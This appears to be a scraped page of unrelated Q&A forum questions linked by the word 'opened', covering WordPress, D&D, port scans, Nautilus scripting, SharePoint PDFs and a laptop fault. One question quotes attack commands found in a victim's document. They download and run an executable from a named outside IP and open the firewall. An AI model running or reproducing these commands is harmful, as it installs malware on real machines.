How to check if an opened page is a WC related page?

I need to detect all the WC related pages ( products, single product, checkout, etc… ) in a website.

I’ve added the wp action in the functions.php and tried to do it using is_shop() function but it doesn’t work. Here is the code with which I’ve tried to achieve this

add_action('wp', 'page_loaded');  function page_loaded() {    if (is_shop()) {       // Some code here    } } 

So, is there any way to achieve this?

Can a Bag of Holding be opened from the inside?

The party rogue found a suit of armor that happened to have an evil soul bound to it. He unwittingly stuffed it into his bag of holding to sell the suit of armor later. The animated suit of armor does not need to breathe and to my understanding is floating about inside the bag. I was planning on having the suit attempt to open the bag from the inside and climb out when the party was sleeping.

Is this legit?

I ran a port scan of my public ip and found ports that I had not opened (forwarded) to be open

so today I was attempting to demonstrate something for a friend, so I ran a port scan of my public ip, of my home network, and found ports that I had not opened (forwarded)to be open. I am on optimum online, could this just be them messing with my network or is this something to be worried about? how can I go about figuring out what services are on those ports? is it worth trying to talk to someone at optimum? attached is an image of my port scan, and of my router’s config page to show the differences.

the ports in question are 3394, 5473, and 18017

enter image description here

Router config page Thanks for the help.

Get list of opened files

I am trying to get a list of files to be opened, i.e. when I select 3 files in Nautilus and then hit Enter. What I then want is something like:

/path/to/my/file/file1.mp3 /path/to/my/file/file2.mp3 /path/to/my/file/file3.mp3 

How can I achieve this? I do have a semi-working solution. It works when the application (in this case Audacious) is not running, but fails when the application is already open and running.

For this script to run I adapted the Exec parameter in /usr/share/applications/audacious.desktop from Exec=audacious %U to /home/myuser/.config/audacious/start-audacious.sh.

#!/bin/bash  echo "$  1" >> ~/.config/audacious/playlist.m3u  # Check if another instance of this script is running. pidof -o %PPID -x $  0 >/dev/null && exit 1  sleep 0.2 audacious ~/.config/audacious/playlist.m3u rm ~/.config/audacious/playlist.m3u 

Is there any better way to get the list of files to be opened when hitting Enter in Nautilus?

Adobe not prompting for check out and open when PDF files are opened from SharePoint

I am working with SP on prem 2019 and have set files to launch in client apps by default and it seems to be working fine. Specifically for PDF files, when they are clicked from SharePoint, they launch fine in Adobe reader client but does not prompt for Check out and open.

I have version 2019.012.20036 installed for Adobe. if anyone came across this, please share thoughts what should be changed so users get prompted for check out and open when PDF launches in Adobe client.

Also FYI, versioning settings-> Require documents to be checked out before editing is set to Yes’ . Due to this for all word and excel files, check out and open prompt is working fine but not for PDF files.

Thanks in advance.

After being AFK for a few hours, I found PowerShell commands in the currently opened LibreOffice document [duplicate]

This question already has an answer here:

  • Help! My home PC has been infected by a virus! What do I do now? 10 answers

I was AFK for a few hours. This is what I saw in my LibreOffice document when I returned to my laptop:

cmd.exe /c PoweExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://92.63.197.153/cawk.exe','%temp%006605040.exe');Start-Process '%temp%006605040.exe' rcmd.exe /c bitsadmin /transfer getitman /download /priority high http://92.63.197.153/cawk.exe %temp%50606004.exe&start %temp%50606004.exe rcmd.exe /c netsh firewall add allowedprogram C:\Windows\System32\ftp.exe “ok” ENABLE&netsh advfirewall firewall add rule name=”ok” dir=in action=allow program=”C:\Windows\System32\ftp.exe” enable=yes rcmd.exe /c “cd %temp%&@echo open 92.63.197.153>>ftpget.txt&@echo tom>>ftpget.txt&@echo hehehe>>ftpget.txt&@echo binary>>ftpget.txt&@echo get cawk.exe>>ftpget.txt&@echo quit>>ftpget.txt&@ftp -s:ftpget.txt&@start cawk.exe” 

I am on Linux Mint, so the commands (Windows; PowerShell?) were obviously not targeted individually against my system but rather came from a random attack. Still, I wonder how this could happen. I was connected to the VPN network of my university during that time (using Cisco AnyConnect). I also had VNC running with a rather mediocre password. This is my only guess. Do you have any ideas? Should I be worried that my system is infected?

Laptop sometimes shows underscore in corner, becomes unresponsive when opened

I have a Dell XPS 15 with a GTX 1050 GPU running Ubuntu Budgie 19.04, and I have the 418 drivers. Recently, my laptop has been occasionally having a problem where when I open the laptop, instead of showing my lock screen, it shows a black screen with a small underscore in the upper left corner. Sometimes I can press ctrl-alt-f1 to see a login prompt, but I can’t type anything or switch to any other console. The only way to use my computer again is to hold down the power button until the power is cut and turn it back on again. What is causing this, and how do I fix this?